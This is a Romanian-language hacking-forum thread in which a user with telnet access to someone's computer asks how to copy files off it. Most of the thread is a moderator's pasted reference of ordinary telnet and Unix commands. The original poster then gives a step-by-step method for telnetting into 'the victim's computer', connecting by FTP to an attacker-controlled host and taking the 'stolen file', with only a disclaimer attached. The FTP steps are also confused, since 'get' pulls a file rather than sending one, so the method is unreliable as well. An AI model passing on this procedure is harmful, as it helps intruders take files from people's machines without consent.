| Subiectul anterior :: Subiectul urmator |
| Autor |
Mesaj |
breaker n00b

Data inscrierii: 13/Iun/2008 Mesaje: 11
|
Trimis: 02/07/2009 21:48 Titlul subiectului: Telnet File Get |
|
|
Deeeci,am acces intr-un calculator prin telnet..Cum pot face sa copiez unul sau mai multe fisiere din acel calculator in calculatorul meu?
Va rog..? |
|
| Sus |
|
 |
casilio Moderator


Data inscrierii: 08/Feb/2007 Mesaje: 369 Localitate: in the matrix
|
Trimis: 05/07/2009 06:50 Titlul subiectului: |
|
|
depinde ce folosesti, sunt comezi pe care le poti da:
Command prompt:
open
Use open hostname to establish a Telnet connection to a host.
close
Use the close command to close an existing Telnet connection.
display
Use the display command to view the current settings for Telnet Client.
send
Use the send command to send commands to the Telnet server. The following commands are supported:
ao
Abort output command.
ayt
"Are you there?" command.
esc
Sends the current escape character.
ip
Interrupt process command.
synch
Performs the Telnet synch operation.
brk
Sends a break signal.
Anything other than one of the commands listed above will be sent as a string to the Telnet server. For example, send abcd will send the string abcd to the Telnet server, which will echo the string in the Telnet session window.
quit
Use the quit command to close Telnet Client.
set
Use the set command with one of the following arguments to configure Telnet Client for the current session.
bsasdel
Backspace will be sent as delete.
codeset option
Available only when the language is set to Japanese. Set the current code set to option, which can be one of the following:
Shift JIS
Japanese EUC
JIS Kanji
JIS Kanji (78)
DEC Kanji
NEC Kanji
The same code set should be set on the remote computer. By default, Telnet Client uses a raster font. Before accessing a remote computer using one of these code sets, you must configure Telnet Client to use a TrueType font to ensure that characters will display properly.
crlf
New-line mode; causes the RETURN key to send 0x0D, 0x0A.
delasbs
Delete will be sent as backspace.
escape character
Switches from Telnet session mode to the Telnet command mode. While in Telnet command mode, press ENTER to return to Telnet session mode.
localecho
Turns on localecho.
logfile name
Specifies the name of the file to which the Telnet log is written for this session. If you do not specify the path of the file, it is created in your current directory. Specifying a log file also turns on logging.
logging
Turns on logging for this session.
mode {console | stream}
The mode of operation.
ntlm
Turns on NTLM authentication.
term {ansi | vt100 | vt52 | vtnt}
The type of terminal you want Telnet Client to emulate.
?
Displays Help information for set.
unset
Use unset to turn off an option previously set using the set command.
status
Use the status command to determine whether the computer running Telnet Client is connected.
?/help
Displays Help information.
Common Unix/Linux Commands used via Telnet
cd
When typed by itself, cd (”change directory”), will take you back to your $HOME directory
cd /path/to/directory
To change to a specific directory, type cd followed by the path to the directory. If it is a subdirectory of the current directory, you can just type the directory name.
cd ..
Typing cd .. moves you up one directory from your current location.
pwd
To see which directory you are in, type pwd (”print (display) working directory”).
exit
Just as it sounds, use exit to log out. Alternatively, you can type logout.
Creating and Deleting Directories
mkdir directoryname
To lucrate a new directory, type mkdir (”make directory”) and specify the new directory’s name.
rmdir directoryname
To delete an empty directory, type rmdir (”remove directory”) and the directory’s name.
Listing Files
ls
To display a list of files and subdirectories in your current directory, type ls (”list”)
ls -a
To see a more complete list which includes hidden files or files that begin with a “.” (dot), type ls -a.
ls -la
To list all files and directories in long compus which will provide details about each file and directory, type ls -la.
ls -lS
To list all directories and files, sorted by size, in long format, type ls -lS.
ls -lta
To list all files and directories in long format by time modified, type ls -lta.
Copying Files
cp oldfilename newfilename
Will copy the contents of one file to another file, resulting in two copies of the same file on your account.
cp directory/* destinationdirectory
Will copy the contents of one directory to another directory. Make sure you have created the destination directory before trying to copy files to it - see mkdir above. Results in two copies of the files on your account; one copy in the existing directory and another in the destination directory.
Searching FIles and Directories
find -name ‘n*’
The find command can be used to locate files or a group of files. It can also be used to display directories. The example given will find all file and directory names within the current directory and subdirectories of it that begin with the letter n. (You can also explore using the locate command - type info locate and/or man locate for usage information.)
grep -inw text filename
Can be used to locate text in a specific file or directory of files (use * in place of filename to search all of the files in the current directory). The -i argument indicates the search is to disregard cASe, the -n instructs to show the corresponding line number, and -w tells it to match only based on the whole word. (This doesn’t even begin to touch on the power of grep and its many uses. In addition to its searching capability, the grep command can be used in combination with other commands to act as a filter. It also allows the use of “wildcards”. Two other variations of grep are also available, egrep and fgrep. To begin your quest for more information, type man grep and/or info grep.)
Displaying / Comparing File Content
wc filename
Counts and displays the number of lines, number of words, and number of characters of the given file.
cat filename
Displays the entire contents of a file.
nl filename
Shows the content of the file, including line numbers (nl=number lines).
more filename
Displays the contents of a file one screen at a time. Press the SPACEBAR to display the next screen of text.
cmp filename1 filename2
Compares the contents of the two named files and reports the first different character found and the line number.
diff filename1 filename2
Compares the contents of the two named files and reports all of the differences found. (Can also be used for comparing the contents of two directories.)
Moving, Renaming, and Deleting Files
mv oldfilename newfilename
Can be used to rename a file (mv fileA fileB), move a file (mv fileA /dirA/), or both (mv fileA /dirB/fileB).
rm -i filename
Removes (deletes) the specified file. (The -i is not necessary, but is recommended as it will prompt you to confirm the action first. When prompted, type y to confirm or type n if you changed your mind.)
Changing Permissions
chmod permissions filename
Changes the permissions on a filename or directory as specified. For example, chmod 755 startup.sh.
Archives and Compression
tar -cfv filename.tar directoryname
To archive a directory and all of its contents including subdirectories, navigate to where the directory is located and type the above command, replacing filename.tar with the name you wish to give the archive file and directoryname with the name of the directory you wish to archive. Alternatively, you can archive a select group of individual files (or directories) by specifying each file name in place of directoryname separated by spaces, like tar -cvf filename.tar fileA fileB fileC. Note: When creating a tar file (aka “tarball”) be sure to specify the name you wish to give the tar file! (TAR indicates Tape ARchive, as it was originally a tape archiving program. The -c means “create”, v means “verbose” (which basically says tell me what you’re doing), and the f indicates that a filename will follow (filename.tar)).
tar -tvf filename.tar
Typing this command will result in a list of the contents of the tar file. This is generally a good thing to do before unpacking the tar file to be sure there are no matching filenames which will result in files being unintentionally overwritten.
tar -xvf filename.tar
You can see the similarities to the command used to tar the file. This time, though, you use -x to “extract” instead of the -c used to create. You can also extras only certain select files (or directories) by specifying the individual names, separated by spaces, after the tar filename, such as tar -xvf filename.tar fileA fileC
gzip filename.tar
This utility, gzip (gnu zip), is used for compression. Normally, when you wish to compress a set of files, you willtar them first then compress them using this command. In doing so, the filename will automatically change from filename.tar to filename.tar.gz (appending .gz to the file extension).
gunzip filename.tar.gz
This command (g”unzip”) is used to uncompress a .tar.gz file, which will also result in the filename being changed back to filename.tar. Once it has been uncompressed, you can then untar it using the tar command above. (Alternatively, you can use gzip -d (for “decompress”) in place of gunzip.)
tar -czvf filename.tgz directoryname
This command, which uses a z switch (”zip”), allows you to take a bit of a shortcut instead of using the tar and gzip commands separately. The example will result in a compressed archive named filename.tgz.
tar -xzvf filename.tgz
This command is used to uncompress and extract the files from a .tgz archive.
si sunt multe... cauta pe google si le vei gasii  _________________ let the force be with you
[URL=http://www.speedtest.net] [/URL] |
|
| Sus |
|
 |
breaker n00b

Data inscrierii: 13/Iun/2008 Mesaje: 11
|
Trimis: 12/07/2009 18:38 Titlul subiectului: |
|
|
Multumesc pt raspunsuri,intre timp a reusit sa gasesc comanda...Pentru cei care inca vor sa afle si nu au inteles din topicul de mai sus :
Aveti trebuință de un ftp (de ex unul pe www.000webhost.com )
Va conectati prin telnet la calculatorul victimei
Intrati in folderul in care se afla fisierul pe care vreti sa il luati
Scrieti ftp hostftp.com (de ex daca aveti domeniul google.ro scrieti ftp google.ro)
Apoi scrieti ftp get nume.extensie
Dupa ce apare succes puteti deconecta telnet si ftp,intrati din calculatorul vostru pe ftp si copiati fisierul furat pe calculator
Atentie : Nimeni de pe HackTheWold nu isi asuma responsabilitatea pt actiunile dumneavoastra! |
|
| Sus |
|
 |
noganoga n00b

Data inscrierii: 11/Iul/2012 Mesaje: 4 Localitate: Israel
|
Trimis: 05/08/2012 22:30 Titlul subiectului: |
|
|
| It's much esiear to understand when you put it that way! |
|
| Sus |
|
 |
noganoga n00b

Data inscrierii: 11/Iul/2012 Mesaje: 4 Localitate: Israel
|
Trimis: 07/08/2012 12:24 Titlul subiectului: |
|
|
| I am very happy because find this info thank you very much people!!!) |
|
| Sus |
|
 |
|
|
Nu puteti crea un subiect nou in acest forum Nu puteti raspunde in subiectele acestui forum Nu puteti modifica mesajele proprii din acest forum Nu puteti sterge mesajele proprii din acest forum Nu puteti vota in chestionarele din acest forum
|
Powered by phpBB © 2001, 2002 phpBB Group Fa-ti si tu propriul forum GRATUIT, pe www.myforum.ro
|